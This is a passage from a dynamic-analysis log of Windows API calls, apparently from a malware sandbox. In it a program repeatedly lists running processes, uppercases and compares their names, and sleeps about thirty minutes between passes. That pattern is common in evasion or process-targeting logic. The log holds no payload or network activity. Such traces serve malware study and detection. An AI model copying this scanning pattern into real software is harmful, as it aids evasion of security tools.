lpString1="thats.exe") returned="thats.exe" [0171.180] lstrlenW (lpString="thats.exe") returned 9 [0171.180] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0171.180] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0171.180] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0171.180] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0171.180] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0171.180] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0171.180] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0171.180] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0171.180] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0171.181] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0171.181] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0171.181] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0171.181] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0171.181] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0171.181] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0171.181] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0171.182] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0171.182] lstrlenW (lpString="actual.exe") returned 10 [0171.182] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0171.182] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0171.182] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0171.182] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0171.182] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0171.183] lstrlenW (lpString="potter larry.exe") returned 16 [0171.183] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0171.183] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0171.183] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0171.183] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0171.183] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0171.183] lstrlenW (lpString="contents what certificate.exe") returned 29 [0171.183] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0171.183] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0171.183] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0171.183] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0171.184] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0171.184] lstrlenW (lpString="cindy.exe") returned 9 [0171.184] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0171.184] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0171.184] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0171.184] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0171.185] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0171.185] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0171.185] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0171.185] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0171.185] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0171.185] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0171.186] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0171.186] lstrlenW (lpString="unusual.exe") returned 11 [0171.186] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0171.186] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0171.186] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0171.186] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0171.186] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0171.186] lstrlenW (lpString="pacific.exe") returned 11 [0171.186] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0171.186] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0171.186] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0171.187] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0171.187] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0171.187] lstrlenW (lpString="phantom.exe") returned 11 [0171.187] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0171.187] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0171.187] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0171.187] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.188] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0171.188] lstrlenW (lpString="audiodg.exe") returned 11 [0171.188] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0171.188] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0171.188] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0171.188] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0171.189] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0171.189] lstrlenW (lpString="SCN0tification.exe") returned 18 [0171.189] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0171.189] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0171.189] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0171.189] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.189] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0171.189] lstrlenW (lpString="svchost.exe") returned 11 [0171.189] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0171.189] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.189] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0171.189] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0171.190] CloseHandle (hObject=0x350) returned 1 [0171.190] Sleep (dwMilliseconds=0x1b7740) [0181.194] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x660 [0181.203] Process32FirstW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.206] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0181.206] lstrlenW (lpString="[System Process]") returned 16 [0181.206] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0181.207] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0181.207] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0181.207] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0181.212] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0181.212] lstrlenW (lpString="System") returned 6 [0181.212] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0181.212] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0181.212] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0181.212] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0181.213] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0181.213] lstrlenW (lpString="smss.exe") returned 8 [0181.213] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0181.213] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0181.213] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0181.213] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.214] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0181.214] lstrlenW (lpString="csrss.exe") returned 9 [0181.214] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0181.214] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0181.214] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0181.214] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0181.215] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0181.215] lstrlenW (lpString="wininit.exe") returned 11 [0181.215] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0181.215] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0181.215] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0181.215] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.216] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0181.216] lstrlenW (lpString="csrss.exe") returned 9 [0181.216] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0181.216] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0181.216] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0181.216] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0181.217] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0181.217] lstrlenW (lpString="winlogon.exe") returned 12 [0181.217] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0181.217] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0181.217] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0181.217] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0181.217] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0181.217] lstrlenW (lpString="services.exe") returned 12 [0181.217] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0181.217] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0181.218] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0181.218] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0181.218] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0181.218] lstrlenW (lpString="lsass.exe") returned 9 [0181.218] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0181.218] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0181.218] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0181.218] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.219] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.219] lstrlenW (lpString="svchost.exe") returned 11 [0181.219] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.219] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.219] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.219] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.220] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.220] lstrlenW (lpString="svchost.exe") returned 11 [0181.220] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.220] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.220] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.220] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0181.221] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0181.221] lstrlenW (lpString="dwm.exe") returned 7 [0181.221] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0181.221] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0181.221] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0181.221] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.222] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.222] lstrlenW (lpString="svchost.exe") returned 11 [0181.222] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.222] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.222] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.222] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.223] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.223] lstrlenW (lpString="svchost.exe") returned 11 [0181.223] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.223] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.223] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.223] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.224] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.224] lstrlenW (lpString="svchost.exe") returned 11 [0181.224] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.224] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.224] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.224] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.225] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.225] lstrlenW (lpString="svchost.exe") returned 11 [0181.225] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.225] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.225] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.225] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.226] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.226] lstrlenW (lpString="svchost.exe") returned 11 [0181.226] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.226] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.226] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.226] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.226] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.226] lstrlenW 